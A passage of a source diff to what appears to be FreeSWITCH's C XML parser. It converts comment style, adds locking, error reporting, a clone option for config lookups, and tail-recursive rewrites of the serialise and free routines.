+				attr[l] = s;								/* set attribute name */
 
 				s += strcspn(s, SWITCH_XML_WS "=/>");
 				if (*s == '=' || isspace((int) (*s))) {
-					*(s++) = '\0';	// null terminate tag attribute name
+					*(s++) = '\0';	/* null terminate tag attribute name */
 					q = *(s += strspn(s, SWITCH_XML_WS "="));
-					if (q == '"' || q == '\'') {	// attribute value
+					if (q == '"' || q == '\'') {	/* attribute value */
 						attr[l + 1] = ++s;
 						while (*s && *s != q)
 							s++;
 						if (*s)
-							*(s++) = '\0';	// null terminate attribute val
+							*(s++) = '\0';	/* null terminate attribute val */
 						else {
 							switch_xml_free_attr(attr);
 							return switch_xml_err(root, d, "missing %c", q);
@@ -967,14 +991,14 @@
 						for (j = 1; a && a[j] && strcmp(a[j], attr[l]); j += 3);
 						attr[l + 1] = switch_xml_decode(attr[l + 1], root->ent, (a && a[j]) ? *a[j + 2] : ' ');
 						if (attr[l + 1] < d || attr[l + 1] > s)
-							attr[l + 3][l / 2] = SWITCH_XML_TXTM;	// value malloced
+							attr[l + 3][l / 2] = SWITCH_XML_TXTM;	/* value malloced */
 					}
 				}
 				while (isspace((int) (*s)))
 					s++;
 			}
 
-			if (*s == '/') {	// self closing tag
+			if (*s == '/') {	/* self closing tag */
 				*(s++) = '\0';
 				if ((*s && *s != '>') || (!*s && e != '>')) {
 					if (l)
@@ -983,8 +1007,8 @@
 				}
 				switch_xml_open_tag(root, d, attr);
 				switch_xml_close_tag(root, d, s);
-			} else if ((q = *s) == '>' || (!*s && e == '>')) {	// open tag
-				*s = '\0';		// temporarily null terminate tag name
+			} else if ((q = *s) == '>' || (!*s && e == '>')) {	/* open tag */
+				*s = '\0';		/* temporarily null terminate tag name */
 				switch_xml_open_tag(root, d, attr);
 				*s = q;
 			} else {
@@ -992,24 +1016,24 @@
 					switch_xml_free_attr(attr);
 				return switch_xml_err(root, d, "missing >");
 			}
-		} else if (*s == '/') {	// close tag
+		} else if (*s == '/') {	/* close tag */
 			s += strcspn(d = s + 1, SWITCH_XML_WS ">") + 1;
 			if (!(q = *s) && e != '>')
 				return switch_xml_err(root, d, "missing >");
-			*s = '\0';			// temporarily null terminate tag name
+			*s = '\0';			/* temporarily null terminate tag name */
 			if (switch_xml_close_tag(root, d, s))
 				return &root->xml;
 			if (isspace((int) (*s = q)))
 				s += strspn(s, SWITCH_XML_WS);
-		} else if (!strncmp(s, "!--", 3)) {	// xml comment
+		} else if (!strncmp(s, "!--", 3)) {	/* xml comment */
 			if (!(s = strstr(s + 3, "--")) || (*(s += 2) != '>' && *s) || (!*s && e != '>'))
 				return switch_xml_err(root, d, "unclosed <!--");
-		} else if (!strncmp(s, "![CDATA[", 8)) {	// cdata
+		} else if (!strncmp(s, "![CDATA[", 8)) {	/* cdata */
 			if ((s = strstr(s, "]]>")))
 				switch_xml_char_content(root, d + 8, (s += 2) - d - 10, 'c');
 			else
 				return switch_xml_err(root, d, "unclosed <![CDATA[");
-		} else if (!strncmp(s, "!DOCTYPE", 8)) {	// dtd
+		} else if (!strncmp(s, "!DOCTYPE", 8)) {	/* dtd */
 			for (l = 0; *s && ((!l && *s != '>') || (l && (*s != ']' || *(s + strspn(s + 1, SWITCH_XML_WS) + 1) != '>'))); l = (*s == '[') ? 1 : l)
 				s += strcspn(s + 1, "[]>") + 1;
 			if (!*s && e != '>')
@@ -1017,7 +1041,7 @@
 			d = (l) ? strchr(d, '[') + 1 : d;
 			if (l && !switch_xml_internal_dtd(root, d, s++ - d))
 				return &root->xml;
-		} else if (*s == '?') {	// <?...?> processing instructions
+		} else if (*s == '?') {	/* <?...?> processing instructions */
 			do {
 				s = strchr(s, '?');
 			} while (s && *(++s) && *s != '>');
@@ -1032,7 +1056,7 @@
 			break;
 		*s = '\0';
 		d = ++s;
-		if (*s && *s != '<') {	// tag character content
+		if (*s && *s != '<') {	/* tag character content */
 			while (*s && *s != '<')
 				s++;
 			if (*s)
@@ -1051,9 +1075,9 @@
 		return switch_xml_err(root, d, "unclosed tag <%s>", root->cur->name);
 }
 
-// Wrapper for switch_xml_parse_str() that accepts a file stream. Reads the entire
-// stream into memory and then parses it. For xml files, use switch_xml_parse_file()
-// or switch_xml_parse_fd()
+/* Wrapper for switch_xml_parse_str() that accepts a file stream. Reads the entire
+   stream into memory and then parses it. For xml files, use switch_xml_parse_file()
+   or switch_xml_parse_fd() */
 SWITCH_DECLARE(switch_xml_t) switch_xml_parse_fp(FILE * fp)
 {
 	switch_xml_root_t root;
@@ -1077,13 +1101,13 @@
 	if (!s)
 		return NULL;
 	root = (switch_xml_root_t) switch_xml_parse_str(s, len);
-	root->dynamic = 1;			// so we know to free s in switch_xml_free()
+	root->dynamic = 1;			/* so we know to free s in switch_xml_free() */
 	return &root->xml;
 }
 
-// A wrapper for switch_xml_parse_str() that accepts a file descriptor. First
-// attempts to mem map the file. Failing that, reads the file into memory.
-// Returns NULL on failure.
+/* A wrapper for switch_xml_parse_str() that accepts a file descriptor. First
+   attempts to mem map the file. Failing that, reads the file into memory.
+   Returns NULL on failure. */
 SWITCH_DECLARE(switch_xml_t) switch_xml_parse_fd(int fd)
 {
 	switch_xml_root_t root;
@@ -1098,23 +1122,23 @@
 #ifdef HAVE_MMAP
 	l = (st.st_size + sysconf(_SC_PAGESIZE) - 1) & ~(sysconf(_SC_PAGESIZE) - 1);
 	if ((m = mmap(NULL, l, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0)) != MAP_FAILED) {
-		madvise(m, l, MADV_SEQUENTIAL);	// optimize for sequential access
+		madvise(m, l, MADV_SEQUENTIAL);	/* optimize for sequential access */
 		root = (switch_xml_root_t) switch_xml_parse_str(m, st.st_size);
-		madvise(m, root->len = l, MADV_NORMAL);	// put it back to normal
-	} else {					// mmap failed, read file into memory
-#endif // HAVE_MMAP
+		madvise(m, root->len = l, MADV_NORMAL);	/* put it back to normal */
+	} else {					/* mmap failed, read file into memory */
+#endif /* HAVE_MMAP */
 		m = malloc(st.st_size);
 		if (!m) return NULL;
 		l = read(fd, m, st.st_size);
 		root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
-		root->dynamic = 1;		// so we know to free s in switch_xml_free()
+		root->dynamic = 1;		/* so we know to free s in switch_xml_free() */
 #ifdef HAVE_MMAP
 	}
-#endif // HAVE_MMAP
+#endif /* HAVE_MMAP */
 	return &root->xml;
 }
 
-static char *expand_vars(char *buf, char *ebuf, switch_size_t elen, switch_size_t *newlen)
+static char *expand_vars(char *buf, char *ebuf, switch_size_t elen, switch_size_t *newlen, const char **err)
 {
 	char *var, *val;
 	char *rp = buf;
@@ -1129,7 +1153,7 @@
 	while (*rp && wp < ep) {
 
 		if (*rp == '$' && *(rp + 1) == '$' && *(rp + 2) == '{') {
-			char *e = strchr(rp, '}');
+			char *e = switch_find_end_paren(rp + 2, '{', '}');
 
 			if (e) {
 				rp += 3;
@@ -1142,6 +1166,9 @@
 						*wp++ = *p;
 					}
 				}
+				continue;
+			} else if (err) {
+				*err = "unterminated ${var}";
 			}
 		}
 
@@ -1199,7 +1226,6 @@
 	
 }
 
-
 static int preprocess_glob(const char *cwd, const char *pattern, int write_fd, int rlevel)
 {
 	char *full_path = NULL;
@@ -1249,8 +1275,11 @@
 	switch_size_t cur = 0, ml = 0;
 	char *q, *cmd, buf[2048], ebuf[8192];
 	char *tcmd, *targ;
-
+	int line = 0;
+	
 	if ((read_fd = open(file, O_RDONLY, 0)) < 0) {
+		const char *reason = strerror(errno);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt open %s (%s)\n", file, reason);
 		return read_fd;
 	}
 
@@ -1260,7 +1289,13 @@
 
 	while ((cur = switch_fd_read_line(read_fd, buf, sizeof(buf))) > 0) {
 		char *arg, *e;
-		char *bp = expand_vars(buf, ebuf, sizeof(ebuf), &cur);
+		const char *err = NULL;
+		char *bp = expand_vars(buf, ebuf, sizeof(ebuf), &cur, &err);
+		line++;
+		
+		if (err) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error [%s] in file %s line %d\n", err, file, line);
+		}
 
 		/* we ignore <include> or </include> for the sake of validators as well as <?xml version="1.0"?> type stuff */
 		if (strstr(buf, "<include>") || strstr(buf, "</include>") || strstr(buf, "<?")) {
@@ -1491,20 +1526,23 @@
 
 SWITCH_DECLARE(switch_status_t) switch_xml_locate(const char *section,
 												  const char *tag_name,
-												  const char *key_name, const char *key_value, switch_xml_t * root, switch_xml_t * node,
-												  switch_event_t *params)
+												  const char *key_name, 
+												  const char *key_value, 
+												  switch_xml_t *root, 
+												  switch_xml_t *node,
+												  switch_event_t *params,
+												  switch_bool_t clone)
 {
 	switch_xml_t conf = NULL;
 	switch_xml_t tag = NULL;
 	switch_xml_t xml = NULL;
 	switch_xml_binding_t *binding;
 	uint8_t loops = 0;
+	switch_xml_section_t sections = BINDINGS ? switch_xml_parse_section_string(section) : 0;
 
 	switch_thread_rwlock_rdlock(B_RWLOCK);
 
 	for (binding = BINDINGS; binding; binding = binding->next) {
-		switch_xml_section_t sections = switch_xml_parse_section_string(section);
-
 		if (binding->sections && !(sections & binding->sections)) {
 			continue;
 		}
@@ -1547,8 +1585,15 @@
 		}
 
 		if ((conf = switch_xml_find_child(xml, "section", "name", section)) && (tag = switch_xml_find_child(conf, tag_name, key_name, key_value))) {
-			*node = tag;
-			*root = xml;
+			if (clone) {
+				char *x = switch_xml_toxml(tag, SWITCH_FALSE);
+				switch_assert(x);
+				*node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE); /* x will be free()'d in switch_xml_free() */
+				switch_xml_free(xml);
+			} else {
+				*node = tag;
+				*root = xml;
+			}
 			return SWITCH_STATUS_SUCCESS;
 		} else {
 			switch_xml_free(xml);
@@ -1564,7 +1609,8 @@
 	return SWITCH_STATUS_FALSE;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params, switch_xml_t *root, switch_xml_t *domain)
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params,
+														 switch_xml_t *root, switch_xml_t *domain)
 {
 	switch_event_t *my_params = NULL;
 	switch_status_t status;
@@ -1577,7 +1623,7 @@
 		params = my_params;
 	}
 
-	status = switch_xml_locate("directory", "domain", "name", domain_name, root, domain, params);
+	status = switch_xml_locate("directory", "domain", "name", domain_name, root, domain, params, SWITCH_FALSE);
 	if (my_params) {
 		switch_event_destroy(&my_params);
 	}
@@ -1634,7 +1680,8 @@
 	return status;
 }
 
-static switch_status_t find_user_in_tag(switch_xml_t tag, const char *ip, const char *user_name, const char *key, switch_event_t *params, switch_xml_t *user)
+static switch_status_t find_user_in_tag(switch_xml_t tag, const char *ip, const char *user_name,
+										const char *key, switch_event_t *params, switch_xml_t *user)
 {
 	const char *type = "!pointer";
 	const char *val;
@@ -1654,22 +1701,25 @@
 	} 
 
 	if (user_name) {
-		if (params && switch_event_get_header(params, (char *) "mailbox")) {
-			if ((*user = switch_xml_find_child_multi(tag, "user", "mailbox", user_name, "type", type, NULL))) {
+		if (!strcasecmp(key, "id")) {
+			if ((*user = switch_xml_find_child_multi(tag, "user", key, user_name, "number-alias", user_name, "type", type, NULL))) {
 				return SWITCH_STATUS_SUCCESS;
 			}
+		} else {
+			if ((*user = switch_xml_find_child_multi(tag, "user", key, user_name, "type", type, NULL))) {
+				return SWITCH_STATUS_SUCCESS;
+			}
 		}
-
-		if ((*user = switch_xml_find_child_multi(tag, "user", key, user_name, "type", type, NULL))) {
-			return SWITCH_STATUS_SUCCESS;
-		}
 	}
 	
 	return SWITCH_STATUS_FALSE;
 	
 }
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name, switch_xml_t domain, switch_xml_t *user, switch_xml_t *ingroup)
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name,
+																 switch_xml_t domain,
+																 switch_xml_t *user,
+																 switch_xml_t *ingroup)
 {
 	switch_xml_t group = NULL, groups = NULL, users = NULL;
 	switch_status_t status = SWITCH_STATUS_FALSE;
@@ -1759,13 +1809,18 @@
 		status = find_user_in_tag(*domain, ip, user_name, key, params, user);
 	}
 	
-
  end:
 
 	if (my_params) {
 		switch_event_destroy(&my_params);
 	}
 
+	if (status != SWITCH_STATUS_SUCCESS && root && *root) {
+		switch_xml_free(*root);
+		*root = NULL;
+		*domain = NULL;
+	}
+
 	return status;
 }
 
@@ -1775,7 +1830,6 @@
 	return MAIN_XML_ROOT;
 }
 
-
 struct destroy_xml {
 	switch_xml_t xml;
 	switch_memory_pool_t *pool;
@@ -1801,7 +1855,7 @@
 
 	switch_threadattr_create(&thd_attr, pool);
     switch_threadattr_detach_set(thd_attr, 1);
-	// TBD figure out how much space we need by looking at the xml_t when stacksize == 0
+	/* TBD figure out how much space we need by looking at the xml_t when stacksize == 0 */
     switch_threadattr_stacksize_set(thd_attr, stacksize);
 
 	dx = switch_core_alloc(pool, sizeof(*dx));
@@ -1809,7 +1863,6 @@
 	dx->xml = xml;
 
 	switch_thread_create(&thread, thd_attr, destroy_thread, dx, pool);
-
 }
 
 static char not_so_threadsafe_error_buffer[256] = "";
@@ -1818,7 +1871,7 @@
 {
 	char path_buf[1024];
 	uint8_t hasmain = 0, errcnt = 0;
-	switch_xml_t new_main;
+	switch_xml_t new_main, r = NULL;
 
 	switch_mutex_lock(XML_LOCK);
 
@@ -1826,8 +1879,8 @@
 		hasmain++;
 
 		if (!reload) {
-			switch_mutex_unlock(XML_LOCK);
-			return switch_xml_root();
+			r = switch_xml_root();
+			goto done;
 		}
 		switch_thread_rwlock_wrlock(RWLOCK);
 	}
@@ -1848,7 +1901,7 @@
 			MAIN_XML_ROOT = new_main;
 			switch_set_flag(MAIN_XML_ROOT, SWITCH_XML_ROOT);
 			switch_xml_free(old_root);
-			//switch_xml_free_in_thread(old_root);
+			/* switch_xml_free_in_thread(old_root); */
 		}
 	} else {
 		*err = "Cannot Open log directory or XML Root!";
@@ -1859,8 +1912,6 @@
 		switch_thread_rwlock_unlock(RWLOCK);
 	}
 
-	switch_mutex_unlock(XML_LOCK);
-
 	if (errcnt == 0) {
 		switch_event_t *event;
 		if (switch_event_create(&event, SWITCH_EVENT_RELOADXML) == SWITCH_STATUS_SUCCESS) {
@@ -1868,10 +1919,14 @@
 				switch_event_destroy(&event);
 			}
 		}
-		return switch_xml_root();
+		r = switch_xml_root();
 	}
 
-	return NULL;
+ done:
+
+	switch_mutex_unlock(XML_LOCK);
+
+	return r;
 }
 
 SWITCH_DECLARE(switch_status_t) switch_xml_init(switch_memory_pool_t *pool, const char **err)
@@ -1881,6 +1936,7 @@
 	*err = "Success";
 
 	switch_mutex_init(&XML_LOCK, SWITCH_MUTEX_NESTED, XML_MEMORY_POOL);
+	switch_mutex_init(&XML_GEN_LOCK, SWITCH_MUTEX_NESTED, XML_MEMORY_POOL);
 	switch_thread_rwlock_create(&RWLOCK, XML_MEMORY_POOL);
 	switch_thread_rwlock_create(&B_RWLOCK, XML_MEMORY_POOL);
 
@@ -1896,14 +1952,19 @@
 
 SWITCH_DECLARE(switch_status_t) switch_xml_destroy(void)
 {
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_mutex_lock(XML_LOCK);
+	
 	if (MAIN_XML_ROOT) {
 		switch_xml_t xml = MAIN_XML_ROOT;
 		MAIN_XML_ROOT = NULL;
 		switch_xml_free(xml);
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
 	}
 
-	return SWITCH_STATUS_FALSE;
+	switch_mutex_unlock(XML_LOCK);
+
+	return status;
 }
 
 SWITCH_DECLARE(switch_xml_t) switch_xml_open_cfg(const char *file_path, switch_xml_t *node, switch_event_t *params)
@@ -1914,7 +1975,7 @@
 
 	assert(MAIN_XML_ROOT != NULL);
 
-	if (switch_xml_locate("configuration", "configuration", "name", file_path, &xml, &cfg, params) == SWITCH_STATUS_SUCCESS) {
+	if (switch_xml_locate("configuration", "configuration", "name", file_path, &xml, &cfg, params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 		*node = cfg;
 	}
 
@@ -1922,8 +1983,8 @@
 
 }
 
-// Encodes ampersand sequences appending the results to *dst, reallocating *dst
-// if length exceeds max. a is non-zero for attribute encoding. Returns *dst
+/* Encodes ampersand sequences appending the results to *dst, reallocating *dst
+   if length exceeds max. a is non-zero for attribute encoding. Returns *dst */
 static char *switch_xml_ampencode(const char *s, switch_size_t len, char **dst, switch_size_t *dlen, switch_size_t *max, short a)
 {
 	const char *e = NULL;
@@ -1986,37 +2047,42 @@
 }
 
 #define XML_INDENT "  "
-// Recursively converts each tag to xml appending it to *s. Reallocates *s if
-// its length exceeds max. start is the location of the previous tag in the
-// parent tag's character content. Returns *s.
+/* Recursively converts each tag to xml appending it to *s. Reallocates *s if
+   its length exceeds max. start is the location of the previous tag in the
+   parent tag's character content. Returns *s. */
 static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t * count)
 {
 	int i, j;
-	char *txt = (char *)(xml->parent) ? xml->parent->txt : (char *)"";
-	switch_size_t off = 0;
-	uint32_t lcount = 0;
+	char *txt;
+	switch_size_t off;
+	uint32_t lcount;
 
-	// parent character content up to this tag
+tailrecurse:
+	off = 0;
+	lcount = 0;
+	txt = (char *)(xml->parent) ? xml->parent->txt : (char *)"";
+
+	/* parent character content up to this tag */
 	*s = switch_xml_ampencode(txt + start, xml->off - start, s, len, max, 0);
 
-	while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) + 1 > *max) {	// reallocate s
+	while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) + 1 > *max) {	/* reallocate s */
 		char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
 		if (!tmp) return *s;
 		*s = tmp;
 	}
 
-	if (*(*s + (*len) - 1) == '>') {
-		*len += sprintf(*s + *len, "\n");	// indent
+	if (*len && *(*s + (*len) - 1) == '>') {
+		*len += sprintf(*s + *len, "\n");	/* indent */
 	}
 	for (lcount = 0; lcount < *count; lcount++) {
-		*len += sprintf(*s + *len, "%s", XML_INDENT);	// indent
+		*len += sprintf(*s + *len, "%s", XML_INDENT);	/* indent */
 	}
 
-	*len += sprintf(*s + *len, "<%s", xml->name);	// open tag
-	for (i = 0; xml->attr[i]; i += 2) {	// tag attributes
+	*len += sprintf(*s + *len, "<%s", xml->name);	/* open tag */
+	for (i = 0; xml->attr[i]; i += 2) {	/* tag attributes */
 		if (switch_xml_attr(xml, xml->attr[i]) != xml->attr[i + 1])
 			continue;
-		while (*len + strlen(xml->attr[i]) + 7 + (strlen(XML_INDENT) * (*count)) > *max) {	// reallocate s
+		while (*len + strlen(xml->attr[i]) + 7 + (strlen(XML_INDENT) * (*count)) > *max) {	/* reallocate s */
 			char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
 			if (!tmp) return *s;
 			*s = tmp;
@@ -2028,10 +2094,10 @@
 	}
 
 	for (i = 0; attr[i] && strcmp(attr[i][0], xml->name); i++);
-	for (j = 1; attr[i] && attr[i][j]; j += 3) {	// default attributes
+	for (j = 1; attr[i] && attr[i][j]; j += 3) {	/* default attributes */
 		if (!attr[i][j + 1] || switch_xml_attr(xml, attr[i][j]) != attr[i][j + 1])
-			continue;			// skip duplicates and non-values
-		while (*len + strlen(attr[i][j]) + 8 + (strlen(XML_INDENT) * (*count)) > *max) {	// reallocate s
+			continue;			/* skip duplicates and non-values */
+		while (*len + strlen(attr[i][j]) + 8 + (strlen(XML_INDENT) * (*count)) > *max) {	/* reallocate s */
 			char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
 			if (!tmp) return *s;
 			*s = tmp;
@@ -2049,10 +2115,10 @@
 		*s = switch_xml_toxml_r(xml->child, s, len, max, 0, attr, count);
 
 	} else {
-		*s = switch_xml_ampencode(xml->txt, 0, s, len, max, 0);	//data
+		*s = switch_xml_ampencode(xml->txt, 0, s, len, max, 0);	/* data */
 	}
 
-	while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) > *max) {	// reallocate s
+	while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) > *max) {	/* reallocate s */
 			char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
 			if (!tmp) return *s;
 			*s = tmp;
@@ -2061,18 +2127,22 @@
 	if (xml->child || xml->txt) {
 		if (*(*s + (*len) - 1) == '\n') {
 			for (lcount = 0; lcount < *count; lcount++) {
-				*len += sprintf(*s + *len, "%s", XML_INDENT);	// indent
+				*len += sprintf(*s + *len, "%s", XML_INDENT);	/* indent */
 			}
 		}
-		*len += sprintf(*s + (*len), "</%s>\n", xml->name);	// close tag
+		*len += sprintf(*s + (*len), "</%s>\n", xml->name);	/* close tag */
 	}
 
 	while (txt[off] && off < xml->off)
-		off++;					// make sure off is within bounds
+		off++;					/* make sure off is within bounds */
 
 	if (xml->ordered) {
+		xml = xml->ordered;
+		start = off;
+		goto tailrecurse;
+/*
 		return switch_xml_toxml_r(xml->ordered, s, len, max, off, attr, count);
-
+*/
 	} else {
 		if (*count > 0)
 			(*count)--;
@@ -2082,13 +2152,17 @@
 
 SWITCH_DECLARE(char *) switch_xml_toxml(switch_xml_t xml, switch_bool_t prn_header)
 {
-	char *s;
+	char *r, *s;
+	switch_mutex_lock(XML_GEN_LOCK);
 	s = (char *)malloc(SWITCH_XML_BUFSIZE);
-	return switch_xml_toxml_buf(xml, s, SWITCH_XML_BUFSIZE, 0, prn_header);
+	switch_assert(s);
+	r = switch_xml_toxml_buf(xml, s, SWITCH_XML_BUFSIZE, 0, prn_header);
+	switch_mutex_unlock(XML_GEN_LOCK);
+	return r;
 }
 
-// converts an switch_xml structure back to xml, returning a string of xml date that
-// must be freed
+/* converts an switch_xml structure back to xml, returning a string of xml date that
+   must be freed */
 SWITCH_DECLARE(char *) switch_xml_toxml_buf(switch_xml_t xml, char *buf, switch_size_t buflen, switch_size_t offset, switch_bool_t prn_header)
 {
 	switch_xml_t p = (xml) ? xml->parent : NULL, o = (xml) ? xml->ordered : NULL;
@@ -2114,14 +2188,14 @@
 	}
 
 	while (root->xml.parent) {
-		root = (switch_xml_root_t) root->xml.parent;	// root tag
+		root = (switch_xml_root_t) root->xml.parent;	/* root tag */
 	}
 
-	for (i = 0; !p && root->pi[i]; i++) {	// pre-root processing instructions
+	for (i = 0; !p && root->pi[i]; i++) {	/* pre-root processing instructions */
 		for (k = 2; root->pi[i][k - 1]; k++);
 		for (j = 1; (n = root->pi[i][j]); j++) {
 			if (root->pi[i][k][j - 1] == '>') {
-				continue;		// not pre-root
+				continue;		/* not pre-root */
 			}
 			while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
 				if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
@@ -2138,11 +2212,11 @@
 	xml->parent = p;
 	xml->ordered = o;
 
-	for (i = 0; !p && root->pi[i]; i++) {	// post-root processing instructions
+	for (i = 0; !p && root->pi[i]; i++) {	/* post-root processing instructions */
 		for (k = 2; root->pi[i][k - 1]; k++);
 		for (j = 1; (n = root->pi[i][j]); j++) {
 			if (root->pi[i][k][j - 1] == '<') {
-				continue;		// not post-root
+				continue;		/* not post-root */
 			}
 			while (len + strlen(t = root->pi[i][0]) + strlen(n) + 7 > max) {
 				if (!(r = (char *)realloc(s, max += SWITCH_XML_BUFSIZE))) {
@@ -2161,14 +2235,16 @@
 	return r;
 }
 
-// free the memory allocated for the switch_xml structure
+/* free the memory allocated for the switch_xml structure */
 SWITCH_DECLARE(void) switch_xml_free(switch_xml_t xml)
 {
-	switch_xml_root_t root = (switch_xml_root_t) xml;
+	switch_xml_root_t root;
 	int i, j;
 	char **a, *s;
+	switch_xml_t orig_xml;
 
-
+tailrecurse:
+ 	root = (switch_xml_root_t) xml;
 	if (!xml) {
 		return;
 	}
@@ -2188,22 +2264,25 @@
 	}
 
 	switch_xml_free(xml->child);
-	switch_xml_free(xml->ordered);
+	/*switch_xml_free(xml->ordered);*/
 
-	if (!xml->parent) {			// free root tag allocations
-		for (i = 10; root->ent[i]; i += 2)	// 0 - 9 are default entities (<>&"')
+	if (!xml->parent) {			/* free root tag allocations */
+#if (_MSC_VER >= 1400)			// VC8+
+		__analysis_assume(sizeof(root->ent) > 44); /* tail recursion confuses code analysis */
+#endif
+		for (i = 10; root->ent[i]; i += 2)	/* 0 - 9 are default entities (<>&"') */
 			if ((s = root->ent[i + 1]) < root->s || s > root->e)
 				free(s);
-		free(root->ent);		// free list of general entities
+		free(root->ent);		/* free list of general entities */
 
 		for (i = 0; (a = root->attr[i]); i++) {
-			for (j = 1; a[j++]; j += 2)	// free malloced attribute values
+			for (j = 1; a[j++]; j += 2)	/* free malloced attribute values */
 				if (a[j] && (a[j] < root->s || a[j] > root->e))
 					free(a[j]);
 			free(a);
 		}
 		if (root->attr[0])
-			free(root->attr);	// free default attribute list
+			free(root->attr);	/* free default attribute list */
 
 		for (i = 0; root->pi[i]; i++) {
 			for (j = 1; root->pi[i][j]; j++);
@@ -2211,42 +2290,49 @@
 			free(root->pi[i]);
 		}
 		if (root->pi[0])
-			free(root->pi);		// free processing instructions
+			free(root->pi);		/* free processing instructions */
 
 		if (root->dynamic == 1)
-			free(root->m);		// malloced xml data
+			free(root->m);		/* malloced xml data */
 #ifdef HAVE_MMAP
 		else if (root->len)
-			munmap(root->m, root->len);	// mem mapped xml data
-#endif // HAVE_MMAP
+			munmap(root->m, root->len);	/* mem mapped xml data */
+#endif /* HAVE_MMAP */
 		if (root->u)
-			free(root->u);		// utf8 conversion
+			free(root->u);		/* utf8 conversion */
 	}
 
-	switch_xml_free_attr(xml->attr);	// tag attributes
+	switch_xml_free_attr(xml->attr);	/* tag attributes */
 	if ((xml->flags & SWITCH_XML_TXTM))
-		free(xml->txt);			// character content
+		free(xml->txt);			/* character content */
 	if ((xml->flags & SWITCH_XML_NAMEM))
-		free(xml->name);		// tag name
+		free(xml->name);		/* tag name */
+	if (xml->ordered) {
+		orig_xml = xml;
+		xml = xml->ordered;
+		free(orig_xml);
+		goto tailrecurse;
+	}
 	free(xml);
 }
 
-// return parser error message or empty string if none
+/* return parser error message or empty string if none */
 SWITCH_DECLARE(const char *) switch_xml_error(switch_xml_t xml)
 {
 	while (xml && xml->parent)
-		xml = xml->parent;		// find root tag
+		xml = xml->parent;		/* find root tag */
 	return (xml) ? ((switch_xml_root_t) xml)->err : "";
 }
 
-// returns a new empty switch_xml structure with the given root tag name
+/* returns a new empty switch_xml structure with the given root tag name */
 SWITCH_DECLARE(switch_xml_t) switch_xml_new(const char *name)
 {
 	static const char *ent[] = { "lt;", "&#60;", "gt;", "&#62;", "quot;", "&#34;",
 		"apos;", "&#39;", "amp;", "&#38;", NULL
 	};
-	switch_xml_root_t root = (switch_xml_root_t) memset(malloc(sizeof(struct switch_xml_root)),
-														'\0', sizeof(struct switch_xml_root));
+	switch_xml_root_t root = (switch_xml_root_t) malloc(sizeof(struct switch_xml_root));
+	if (!root) return NULL;
+	memset(root, '\0', sizeof(struct switch_xml_root));
 	root->xml.name = (char *) name;
 	root->cur = &root->xml;
 	strcpy(root->err, root->xml.txt = (char *)"");
@@ -2255,7 +2341,7 @@
 	return &root->xml;
 }
 
-// inserts an existing tag into an switch_xml structure
+/* inserts an existing tag into an switch_xml structure */
 SWITCH_DECLARE(switch_xml_t) switch_xml_insert(switch_xml_t xml, switch_xml_t dest, switch_size_t off)
 {
 	switch_xml_t cur, prev, head;
@@ -2264,46 +2350,46 @@
 	xml->off = off;
 	xml->parent = dest;
 
-	if ((head = dest->child)) {	// already have sub tags
-		if (head->off <= off) {	// not first subtag
+	if ((head = dest->child)) {	/* already have sub tags */
+		if (head->off <= off) {	/* not first subtag */
 			for (cur = head; cur->ordered && cur->ordered->off <= off; cur = cur->ordered);
 			xml->ordered = cur->ordered;
 			cur->ordered = xml;
-		} else {				// first subtag
+		} else {				/* first subtag */
 			xml->ordered = head;
 			dest->child = xml;
 		}
 
-		for (cur = head, prev = NULL; cur && strcmp(cur->name, xml->name); prev = cur, cur = cur->sibling);	// find tag type
-		if (cur && cur->off <= off) {	// not first of type
+		for (cur = head, prev = NULL; cur && strcmp(cur->name, xml->name); prev = cur, cur = cur->sibling);	/* find tag type */
+		if (cur && cur->off <= off) {	/* not first of type */
 			while (cur->next && cur->next->off <= off)
 				cur = cur->next;
 			xml->next = cur->next;
 			cur->next = xml;
-		} else {				// first tag of this type
+		} else {				/* first tag of this type */
 			if (prev && cur)
-				prev->sibling = cur->sibling;	// remove old first
-			xml->next = cur;	// old first tag is now next
-			for (cur = head, prev = NULL; cur && cur->off <= off; prev = cur, cur = cur->sibling);	// new sibling insert point
+				prev->sibling = cur->sibling;	/* remove old first */
+			xml->next = cur;	/* old first tag is now next */
+			for (cur = head, prev = NULL; cur && cur->off <= off; prev = cur, cur = cur->sibling);	/* new sibling insert point */
 			xml->sibling = cur;
 			if (prev)
 				prev->sibling = xml;
 		}
 	} else
-		dest->child = xml;		// only sub tag
+		dest->child = xml;		/* only sub tag */
 
 	return xml;
 }
 
-// Adds a child tag. off is the offset of the child tag relative to the start
-// of the parent tag's character content. Returns the child tag
+/* Adds a child tag. off is the offset of the child tag relative to the start
+   of the parent tag's character content. Returns the child tag */
 SWITCH_DECLARE(switch_xml_t) switch_xml_add_child(switch_xml_t xml, const char *name, switch_size_t off)
 {
 	switch_xml_t child;
 
-	if (!xml)
-		return NULL;
